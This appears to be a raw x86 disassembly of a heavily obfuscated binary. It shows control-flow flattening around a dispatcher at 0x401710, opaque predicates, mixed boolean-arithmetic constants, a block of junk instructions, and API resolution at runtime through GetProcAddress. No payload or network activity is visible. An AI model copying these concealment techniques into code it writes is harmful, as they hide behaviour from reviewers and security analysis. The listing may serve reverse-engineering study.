and eax, 0x60fdf0dd
or edi, 0x6aa5be1
or esi, eax
mov ecx, esi
mov ebx, esi
xor ecx, 0x9f020f22
xor ebx, 0x6657ab3c
xor esi, 0x40a8b008
and ebx, ecx
and esi, 0xc6aab408
mov eax, ebx
not eax
and ebx, 0xe04b562a
mov dword [ebp - 0xd8], eax
and dword [ebp - 0xd8], 0x1fb4a9d5
or eax, edi
and edi, 0x1fb4a9d5
add ebx, dword [ebp - 0xd8]
or edx, edi
not eax
mov edi, ecx
and edi, 0x39554bf7
and ecx, 0x20000000
or edi, esi
xor edx, ebx
or eax, edx
mov edx, eax
not edx
and eax, 0xfa173aef
and edx, 0x5e8c510
or eax, edx
mov edx, edi
xor edx, 0xe2201400
xor edi, 0x1400260
or ecx, edx
mov edx, eax
xor edx, 0x58980002
xor eax, 0x23429ef1
and edi, 0x5caa268
and ecx, 0xfa355d97
mov esi, eax
and esi, 0xa425fd3c
and edx, 0x5bda02c3
or ecx, edi
or edx, esi
mov esi, ecx
xor esi, 0x5a100083
xor ecx, 0x5caa268
or eax, ecx
and ecx, 0xa425fd3c
and esi, 0x5bda02c3
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x98225256
and ecx, 0x67ddada9
or ecx, edx
xor ecx, 0x67ddada9
or ecx, eax
not ecx
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x14451d0
not edx
mov esi, edx
or esi, 0xc0202002
and ecx, 0xc16471d2
and edx, 0xc098205
or edx, ecx
mov ecx, eax
and esi, 0xc16471d2
and ecx, 0x32920c28
or ecx, esi
mov esi, 0x49e4cc1c
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xcc29a206
and edx, 0x33d65df9
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne dl
cmp dword [0x4e4170], 0xa
mov dh, ah
setl cl
setge ch
mov al, cl
or dh, ch
and dl, cl
or cl, ah
xor al, ah
xor cl, 1
xor dh, 1
and al, ch
and ch, ah
or dl, ch
or al, dh
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x72ed3b6e
cmovne ecx, esi
test dl, 1
mov esi, 0x72ed3b6e
mov edx, ecx
cmovne edx, esi
test al, 1
cmovne edx, ecx
mov eax, edx
jmp 0x401710
mov eax, 0x592a9aa
jmp 0x401710
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x7d7c11a1
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x66907d23
and eax, 0x10458004
mov edx, ecx
or edx, 0x10000c0
and esi, 0x67907de3
and ecx, 0x882a0218
and edx, 0x67907de3
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x892a02d8
and ecx, 0x76d5fd27
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xefcad650
and eax, 0x103529af
or ecx, eax
mov eax, ecx
xor eax, 0xaac8c050
xor ecx, 0x103529af
mov esi, ecx
and esi, 0x45171721
and eax, 0xbae8e8de
or eax, esi
mov esi, edx
not esi
and edx, 0xbae8e8de
or ecx, esi
and esi, 0x45171721
or edx, esi
not ecx
mov esi, 0x2dfac40
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x19f8f4ac
and eax, 0xe6070b53
or eax, ecx
mov ecx, eax
xor ecx, 0x19c80024
xor eax, 0xc4060a00
and eax, 0xc436fe88
and ecx, 0x3bc90177
or ecx, eax
xor ecx, 0x3bc90177
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
and cl, al
and al, ah
or al, ch
or cl, al
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb35a9cf1
cmovne ecx, esi
test al, al
mov eax, 0xb35a9cf1
jmp 0x40aefe
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x10222800
and eax, 0x4a500081
mov edx, ecx
or edx, 0x200dd54a
and esi, 0x302ffd4a
and ecx, 0x85800234
and edx, 0x302ffd4a
or ecx, esi
mov esi, 0x2cafcd24
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa58dd77e
and ecx, 0x5a722881
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x681cd87a
and edx, 0xfffffffe
and ecx, 0x97e32785
or eax, ecx
xor eax, 0x681cd87b
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setge cl
setl ch
mov al, cl
and ch, dl
and cl, ah
xor al, ah
or cl, ch
and al, ah
mov edx, eax
mov ah, al
xor dl, 1
and dl, cl
xor cl, 1
xor ah, cl
and cl, al
and ah, al
or cl, dl
mov edx, 0x841a83d7
mov al, ah
xor al, cl
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, esi
test ah, ah
cmove ecx, edx
mov eax, ecx
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x135168a4
and eax, 0xa8829448
mov edx, ecx
or edx, 0x40211
and esi, 0x13556ab5
and ecx, 0x44280102
and edx, 0x13556ab5
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x442c0313
and ecx, 0xbbd3fcec
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
mov esi, eax
xor edx, 0x7a19000
xor esi, 0xc0184951
and eax, 0x76319ce8
or ecx, 1
and esi, 0xe81e4ff1
and edx, 0x17e1b00e
and ecx, 0x89ce6317
or edx, esi
or ecx, eax
xor edx, 0x384626af
xor ecx, 0x89ce6317
or ecx, edx
mov edx, ecx
xor edx, 0x901ba7e8
mov eax, ecx
and eax, 0x73de126b
and edx, ecx
not ecx
and ecx, 0x8c21ed94
or eax, ecx
mov ecx, eax
xor eax, 0x8001a580
xor ecx, 0x10000200
or eax, 0x6fe45817
and ecx, 0x9000a600
mov esi, eax
and esi, 0x51f11f8
or ecx, esi
mov esi, edx
not esi
and edx, 0xfae0ee07
or eax, esi
and esi, 0x51f11f8
or edx, esi
not eax
mov esi, 0xb35cbf82
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf9cf4e75
and ecx, 0x630b18a
or eax, ecx
xor eax, 0x69d4e99d
sete cl
setne dl
cmp dword [0x4e4170], 0xa
setl al
mov ah, al
xor ah, dl
not ah
and ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, al
or ah, cl
xor cl, al
xor ah, 1
or cl, ah
mov eax, 0xc9528cf
xor cl, dl
cmovne eax, esi
test cl, dl
mov edx, 0xc9528cf
cmove eax, esi
jmp 0x40afb8
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x68]
add eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0x1b52f0db
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xa
mov eax, 0x95fa3f15
jmp 0x401710
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x500e1000
and eax, 0x5200080
mov edx, ecx
and edx, 0x8811003e
or ecx, 0x500b0014
or esi, edx
and ecx, 0x72cbef55
mov edx, esi
xor edx, 0x41000
xor esi, 0x22c1ef55
or eax, ecx
and esi, 0x72cbef55
and edx, 0x8814102a
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x63bf04e9
and ecx, 0x9c40fb16
or eax, ecx
mov esi, eax
xor esi, 0xbba014d7
mov edx, eax
xor eax, 0x9190325
xor edx, 0x445feb28
mov ecx, esi
or ecx, 0x4d46e80d
mov edi, edx
and eax, esi
and edi, 0xa0210080
and esi, 0x6330b281
mov ebx, ecx
and ebx, 0x169eff7f
or edi, ebx
mov ebx, eax
not ebx
and eax, 0xe9610080
or ecx, ebx
and ebx, 0x169eff7f
or eax, ebx
not ecx
xor eax, edi
mov edi, edx
and edi, 0x9ccf4d7e
or ecx, eax
or edi, esi
mov eax, ecx
not eax
and ecx, 0xb2b9e80d
xor edi, 0x63304d7e
and eax, 0x4d4617f2
or ecx, eax
movzx eax, dx
or eax, edi
not eax
or eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xb023b4b2
and eax, 0x4fdc4b4d
or edx, eax
xor edx, 0xb023b4b2
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xff8fc92c
mov edx, eax
and edx, 0x7036d3
or ecx, edx
xor ecx, 0x7036d3
xor eax, ecx
and eax, ecx
mov ecx, dword [ebp - 0x80]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov esi, 0xd4bc46ad
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x4e4174]
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x97]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb982ef9e
and ecx, 0x467d1060
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0xb982ef9e
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete dl
cmp dword [0x4e4170], 0xa
setge cl
setl al
xor al, dl
xor dl, cl
and dl, cl
mov ah, al
mov ecx, edx
xor ah, 1
xor dl, al
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
xor ah, cl
xor cl, 1
mov edx, ecx
or cl, al
xor cl, 1
xor dl, al
or cl, ah
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xff74b13
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xff74b13
jmp 0x4016fe
mov eax, dword [ebp - 0x34]
mov ecx, dword [0x4e4174]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x13c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xd30b127
and ecx, 0xf2cf4ed8
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x44e5710f
and ecx, 0xbb1a8ef0
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x49d5c028
xor ecx, 0xb62a3fd7
xor edx, 0xb62a3fd6
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x6f3cad1f
mov esi, eax
and esi, 0x90c352e0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6f3cad1f
or eax, esi
and esi, 0x90c352e0
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xa4102900
and eax, 0x10c0032
mov edx, ecx
or edx, 0x408190c5
and esi, 0xe491b9c5
and ecx, 0x1a624608
and edx, 0xe491b9c5
or ecx, esi
mov esi, 0xabb0bab2
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x5ae3d6cd
and ecx, 0xa51c2932
or eax, ecx
setne dl
sete al
cmp dword [0x4e4170], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
mov ah, al
and cl, dh
xor ah, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x18550205
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov esi, 0x18550205
jmp 0x40d236
mov eax, 0x5835036f
jmp 0x401710
mov eax, 0x5a695e59
jmp 0x401710
mov eax, 0x9196e279
jmp 0x401710
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xb4]
mov eax, 0x93c1a46a
jmp 0x401710
mov ecx, dword [0x4e4174]
mov edi, 0x7b373d20
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4bdee62e
mov esi, ecx
and esi, 0xb42119d0
and ecx, 0x9bd67521
or edx, esi
mov esi, edx
xor esi, 0x252a426
xor edx, 0x800101d0
and edx, 0xc98d43d8
and esi, 0x3672bc26
or esi, edx
mov edx, eax
or edx, 0xc98d43d8
and eax, 0x64298ade
and edx, 0xc98d43d9
or eax, ecx
xor edx, esi
xor eax, 0x64298ade
mov esi, edx
not esi
and edx, 0xeda3e28e
and esi, 0x125c1d71
or edx, esi
mov esi, 0xe89e793d
xor edx, 0xeda3e28e
or eax, edx
mov ecx, eax
not ecx
and eax, 0x57f0d768
and ecx, 0xa80f2897
or eax, ecx
xor eax, 0x57f0d768
sete al
setne dl
cmp dword [0x4e4170], 0xa
setge ah
setl cl
mov ch, ah
mov dh, ah
and cl, dl
and ch, al
xor al, ah
inc dh
and dh, dl
and al, ah
or cl, ch
or cl, al
or dh, ch
mov eax, 0x7b373d20
xor cl, dh
cmovne eax, esi
test cl, dh
cmove eax, esi
test cl, cl
cmove eax, edi
test cl, dh
mov ecx, dword [ebp - 0x34]
cmovne eax, edi
jmp 0x401710
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, 0xfb02d92b
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xb311fcd6
mov esi, eax
not esi
mov ecx, eax
or ecx, 0x4cee0329
and edx, eax
mov edi, ecx
and edi, 0xd1a3c0a5
and esi, 0x22103c52
mov ebx, edx
not ebx
and edx, 0x2e5c3f5a
or esi, edi
or ecx, ebx
and ebx, 0xd1a3c0a5
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xd914f377
or ecx, edx
not edx
and edx, 0x4cee0328
and ecx, 0xb311fcd7
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
setne cl
cmp dword [0x4e4170], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd72402cf
cmovne ecx, esi
test al, al
mov eax, 0xd72402cf
jmp 0x40aefe
mov eax, 0x6092ebda
jmp 0x401710
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, 0x2501afeb
jmp 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x4e4174]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x144], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4801288f
and eax, 0x3708c460
and ecx, 0x80f61310
or edx, ecx
xor edx, 0x4801288f
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa01b3198
and ecx, 0x5fe4ce67
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x17106528
xor ecx, 0x68ec0a07
xor eax, 0xbd514004
mov esi, ecx
and edx, 0x17d0652e
and esi, 0xe82f9ad1
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0xe82f9ad1
xor esi, 0x3d00400
mov edx, ecx
and edx, 0xd5bd4a03
and esi, 0x6bda9650
or eax, edx
mov edx, eax
not edx
and eax, 0x1bad6322
and edx, 0xe4529cdd
or eax, edx
mov edx, ecx
and edx, 0x942569af
and ecx, 1
or edx, esi
xor eax, 0xce102920
mov esi, 0x6497bdea
xor edx, 0x6bda9651
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x32564ecc
and edx, 0xcda9b133
or ecx, edx
xor ecx, 0x32564ecc
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa3881f45
and eax, 0x5c77e0ba
or ecx, eax
mov eax, ecx
xor eax, 0x22000601
xor ecx, 0x1413e0a8
and ecx, 0x959bf9ec
and eax, 0x6a640613
or eax, ecx
mov ecx, eax
xor ecx, 0x1483f0e4
xor eax, 0x6a640613
mov edx, eax
and edx, 0xa97c0d18
and ecx, 0x5683f2e7
or ecx, edx
xor ecx, 0xa97c0d18
xor eax, ecx
test eax, ecx
setne ah
sete dl
cmp dword [0x4e4170], 0xa
mov ch, ah
setl dh
setge cl
and ch, dh
and dl, cl
mov al, dh
or dh, ah
or dl, ch
mov ch, cl
or cl, ah
xor al, ah
xor ch, ah
xor cl, 1
not al
or cl, ch
and al, ah
xor cl, 1
xor al, 1
or cl, dl
mov ebx, eax
or al, dh
mov ah, cl
mov dl, cl
xor bl, dh
xor al, 1
xor ah, 1
or al, bl
and dl, ah
xor al, 1
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x38803f6b
cmovne eax, esi
test dl, 1
mov edx, 0x38803f6b
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401710
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xa4117f19
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x5bee80e6
and eax, 0xa4117f19
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x1c905a2a
not edx
and eax, 0xc13c7ffe
mov esi, edx
and ecx, 0x1c905a2b
and esi, 0xe36fa5d4
or edx, 1
or esi, ecx
mov ecx, esi
not ecx
and esi, 0xc13c7fff
mov edi, ecx
or ecx, edx
and edi, 0x3ec38000
and edx, 0x3ec38000
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0x530f77af
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x8bcd1668
and eax, 0x7432e997
or ecx, eax
mov eax, ecx
xor eax, 0x8bc91648
xor ecx, 0x2432e084
and ecx, 0x2436e0a4
and eax, 0xdbc91f5b
or eax, ecx
xor eax, 0x2436e0a4
sete ah
setne dl
cmp dword [0x4e4170], 0xa
setl ch
setge al
mov cl, ch
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
and ah, al
and al, ch
mov edx, ecx
xor ah, 1
xor al, 1
xor dl, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x1dc16015
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x1dc16015
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0x26104c27
jmp 0x401710
mov eax, 0x56cb31db
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov edi, eax
and edi, 0xa861802
mov esi, eax
and esi, 0x8168e7d5
and eax, 0x4f3ca775
mov ecx, edx
and ecx, 0x74110028
and edx, 0xb0c3588a
or edi, ecx
or eax, edx
xor edi, 0xa861802
or esi, edi
mov ecx, esi
not ecx
and esi, 0x38c5e9f7
and ecx, 0xc73a1608
or esi, ecx
mov ecx, esi
xor ecx, 0x450c14c
xor esi, 0x398c0021
and esi, 0x7b8e30b1
and ecx, 0x8471cf4e
or ecx, esi
mov esi, ecx
xor esi, 0x84004e0c
xor ecx, 0x7b8e30b1
mov edx, ecx
and edx, 0x4a7fa1d2
and esi, 0xb5805e2d
or esi, edx
mov edx, eax
xor edx, 0x5000625
xor eax, 0xb0c3588a
or ecx, eax
and eax, 0x4a7fa1d2
and edx, 0xb5805e2d
or edx, eax
not ecx
xor edx, esi
mov esi, 0xabb0bab2
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbba760ae
and eax, 0x44589f51
or ecx, eax
xor ecx, 0xbba760ae
sete al
setne cl
cmp dword [0x4e4170], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or ah, cl
mov ecx, edx
xor ah, 1
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe129d2a0
cmovne edx, esi
test al, 1
mov eax, 0xe129d2a0
jmp 0x40afb8
mov eax, 0x75525767
jmp 0x401710
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x110], eax
mov eax, 0x9a3849ca
jmp 0x401710
cmp byte [ebp - 0x91], 0
mov eax, 0xb8e8a66a
mov ecx, 0xbf87912
cmovne eax, ecx
jmp 0x401710
mov eax, 0xff3f9745
jmp 0x401710
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x10]
mov dword [ebp - 0x138], eax
mov eax, 0x788e92af
jmp 0x401710
mov eax, dword [ebp - 0x54]
mov dword [eax], 4
mov eax, 0x8f2f7b5d
jmp 0x401710
movzx ecx, byte [ebp - 0x8d]
movzx eax, byte [ebp - 0x8e]
mov esi, 0xa6f9fa09
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x694506c
cmovne ecx, esi
test al, 1
mov esi, 0x694506c
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x401710
cmp byte [ebp - 0x9b], 0
mov eax, 0x9d71932d
mov ecx, 0xc5ec298
cmovne eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x7c]
mov eax, 0x6f3f8afd
jmp 0x401710
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xfffffffe
not eax
mov esi, eax
and esi, 0xfffffffe
and ecx, edx
and eax, 0xee316dd5
or ecx, esi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x11ce922a
and edi, 0x11ce922a
and esi, 0xee316dd5
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0x1d5878ad
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete al
cmp dword [0x4e4170], 0xa
setl dl
xor cl, dl
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, dl
mov ah, al
and dl, al
or al, cl
not ah
and ah, cl
mov ecx, eax
or ah, dl
mov edx, 0xb01ed06d
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0xb01ed06d
cmove edx, esi
test cl, cl
jmp 0x40cf8d
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xdae84c2c
jmp 0x401710
mov eax, 0xd6e183f4
jmp 0x401710
sub ebx, 0x8a
bswap eax
imul eax
imul esi
bswap esi
and ebx, 0x6e
inc edx
inc edi
and edx, 0xa7
add esi, 0xc
neg esi
mov edx, 0x14
dec edx
inc edx
mov edi, 0xc
not esi
ror ebx, 0xe3
sub ebx, 0xf4
sbb ebx, 0x18
sbb edi, 0x6f
and ebx, 0x6d
neg esi
or ebx, 0x20
not eax
or esi, 0xde
not esi
bswap esi
sbb edx, 0xfc
sub esi, 0xad
add esi, 0x34
or eax, 0xaf
inc ebx
inc edx
rol eax, 0x1a
neg eax
neg edx
rcl esi, 0x97
neg edi
imul esi
sub esi, 0xd5
sbb eax, 0x31
imul esi
rcl edi, 0x24
mov ebx, 0x47
rcl edx, 0xac
not eax
neg edi
add edx, 0xd
rol ebx, 0x3c
imul edi
or ebx, 0x4c
imul edi
mov ebx, 0x48
dec edx
not edi
rcr edi, 0x41
rol esi, 0x9c
inc edx
bswap ebx
and ebx, 0xc
mov edi, 0x38
inc eax
add ebx, 0xec
inc ebx
add ebx, 0x84
not edx
or eax, 0x7a
imul esi
imul edi
add ebx, 0xd7
neg eax
neg ebx
neg eax
sub esi, 0xed
rcr edx, 0x6f
rol edi, 0x46
rcr eax, 0x37
rol edi, 0xd9
sub esi, 0x56
rcr edi, 0xdf
ror ebx, 0xe8
or ebx, 0x73
not edi
and edx, 0x98
imul esi
rcl ebx, 0x98
rcr edx, 0xf2
or edi, 0x4e
add edx, 0x7b
sub edi, 0x79
sbb esi, 0xe1
add eax, 0xb
neg esi
bswap edi
neg edi
dec edx
sub esi, 0xe0
rcr esi, 0x96
neg ebx
imul ebx
and eax, 0x24
or eax, 0xff
rcr edi, 0xec
ror edx, 0xc6
or edi, 0xf8
dec eax
sub eax, 0x2a
dec ebx
rcl edx, 0x13
imul edx
rcr esi, 0xa1
dec edx
bswap eax
sub edi, 0x19
dec esi
inc esi
imul eax
dec ebx
rcl edx, 0x5d
ror edx, 0xd0
or eax, 0xe9
sbb eax, 0x5b
not edi
bswap ebx
add edi, 0xbd
rol edx, 0x58
rcr edi, 0xbd
not eax
inc eax
bswap eax
inc edx
neg edx
inc esi
imul edx
imul eax
sbb esi, 0xe1
dec edi
rcl eax, 0x7a
rcr ebx, 0x8c
bswap edx
dec eax
sbb edi, 0x5c
imul eax
sub esi, 0xc
imul edx
mov esi, 0xb8
neg edx
sbb esi, 0xe5
mov edi, 7
imul esi
mov eax, 0xadb94d0c
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xb1a80f01
mov eax, edx
and eax, 0x4e57f0fe
and edx, 0xcf1a66e1
or eax, esi
mov esi, eax
not esi
and eax, 0xae5ce70c
and esi, 0x51a318f3
or eax, esi
mov esi, ecx
and esi, 0x30e5991e
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0xc90a60a0
xor esi, 0x10609010
or ecx, edx
mov edx, eax
xor edx, 0x2d4c000
and esi, 0x16709650
xor eax, 0xe00b17f3
and ecx, 0xe98f69af
and edx, 0x42d6c552
or ecx, esi
mov esi, eax
and esi, 0xbd293aad
or edx, esi
mov esi, ecx
xor esi, 0x40864102
xor ecx, 0x16709650
or eax, ecx
and ecx, 0xbd293aad
and esi, 0x42d6c552
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x73caf7d
mov ecx, eax
not ecx
and eax, 0x216c9824
and ecx, 0xde9367db
or ecx, eax
mov eax, ecx
xor eax, 0xc2816189
xor ecx, 0x1249800
and ecx, 0x1d369e52
and eax, 0xe2c961ad
or eax, ecx
xor eax, 0xe2c961ad
setne al
sete cl
cmp dword [0x4e4170], 0xa
mov edx, eax
setl ah
setge ch
and dl, ch
and ah, cl
xor al, ch
or ah, dl
mov dl, ah
xor dl, ch
and dl, ah
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, 1
mov ch, cl
and cl, ah
mov ah, dl
xor ch, 1
xor ah, al
and ch, al
or al, dl
xor al, 1
or cl, ch
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x1322f195
cmovne edx, esi
test al, 1
mov eax, 0x1322f195
jmp 0x40afb8
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x170], eax
mov eax, 0x993400c7
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 7
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x83f2f4e8
mov edx, ecx
and edx, 0x926028
and eax, ecx
not ecx
and ecx, 0x836094c0
or edx, ecx
xor edx, 0x926028
or eax, edx
mov ecx, eax
not ecx
and eax, 0x11ee492d
and ecx, 0xee11b6d2
or eax, ecx
mov ecx, eax
mov esi, eax
xor ecx, 0x821c2984
xor esi, 0x6de3423a
xor eax, 0x80100101
mov edx, esi
and edx, 0x3501d463
and ecx, 0xcafe2b9c
or esi, 0x45012
and eax, 0xc8320301
or ecx, edx
and esi, 0x20cd54de
